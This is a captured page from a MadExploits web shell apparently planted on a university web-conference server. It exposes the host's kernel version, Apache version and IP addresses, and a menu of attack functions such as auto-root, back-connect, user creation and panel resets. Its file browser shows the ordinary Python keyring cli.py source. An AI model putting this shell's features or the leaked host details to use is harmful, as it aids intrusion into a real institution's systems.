Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.145.55.25
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
keyring /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
backends
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
__init__.py
277
B
-rw-r--r--
__main__.py
70
B
-rw-r--r--
backend.py
5.93
KB
-rw-r--r--
cli.py
4.13
KB
-rw-r--r--
core.py
4.96
KB
-rw-r--r--
credentials.py
1.34
KB
-rw-r--r--
devpi_client.py
199
B
-rw-r--r--
errors.py
1.44
KB
-rw-r--r--
http.py
1.24
KB
-rw-r--r--
py27compat.py
1.06
KB
-rw-r--r--
py32compat.py
107
B
-rw-r--r--
py33compat.py
660
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cli.py
#!/usr/bin/env python """Simple command line interface to get/set password from a keyring""" from __future__ import print_function import getpass from optparse import OptionParser import sys from . import core from . import backend from . import set_keyring, get_password, set_password, delete_password __metaclass__ = type class CommandLineTool: def __init__(self): self.parser = OptionParser( usage="%prog [get|set|del] SERVICE USERNAME", ) self.parser.add_option("-p", "--keyring-path", dest="keyring_path", default=None, help="Path to the keyring backend") self.parser.add_option("-b", "--keyring-backend", dest="keyring_backend", default=None, help="Name of the keyring backend") self.parser.add_option("--list-backends", action="store_true", help="List keyring backends and exit") self.parser.add_option("--disable", action="store_true", help="Disable keyring and exit") def run(self, argv): opts, args = self.parser.parse_args(argv) if opts.list_backends: for k in backend.get_all_keyring(): print(k) return if opts.disable: core.disable() return try: kind, service, username = args except ValueError: if len(args) == 0: # Be nice with the user if he just tries to launch the tool self.parser.print_help() return 1 else: self.parser.error("Wrong number of arguments") if opts.keyring_backend is not None: try: if opts.keyring_path: sys.path.insert(0, opts.keyring_path) set_keyring(core.load_keyring(opts.keyring_backend)) except (Exception,): # Tons of things can go wrong here: # ImportError when using "fjkljfljkl" # AttributeError when using "os.path.bar" # TypeError when using "__builtins__.str" # So, we play on the safe side, and catch everything. e = sys.exc_info()[1] self.parser.error("Unable to load specified keyring: %s" % e) if kind == 'get': password = get_password(service, username) if password is None: return 1 self.output_password(password) return 0 elif kind == 'set': password = self.input_password("Password for '%s' in '%s': " % (username, service)) set_password(service, username, password) return 0 elif kind == 'del': password = self.input_password( "Deleting password for '%s' in '%s': " % (username, service), ) delete_password(service, username) return 0 else: self.parser.error("You can only 'get', 'del' or 'set' a password.") pass def input_password(self, prompt): """Retrieve password from input. """ return self.pass_from_pipe() or getpass.getpass(prompt) @classmethod def pass_from_pipe(cls): """Return password from pipe if not on TTY, else False. """ is_pipe = not sys.stdin.isatty() return is_pipe and cls.strip_last_newline(sys.stdin.read()) @staticmethod def strip_last_newline(str): """Strip one last newline, if present.""" return str[:-str.endswith('\n')] def output_password(self, password): """Output the password to the user. This mostly exists to ease the testing process. """ print(password, file=sys.stdout) def main(argv=None): """Main command line interface.""" if argv is None: argv = sys.argv[1:] cli = CommandLineTool() return cli.run(argv) if __name__ == '__main__': sys.exit(main())
Close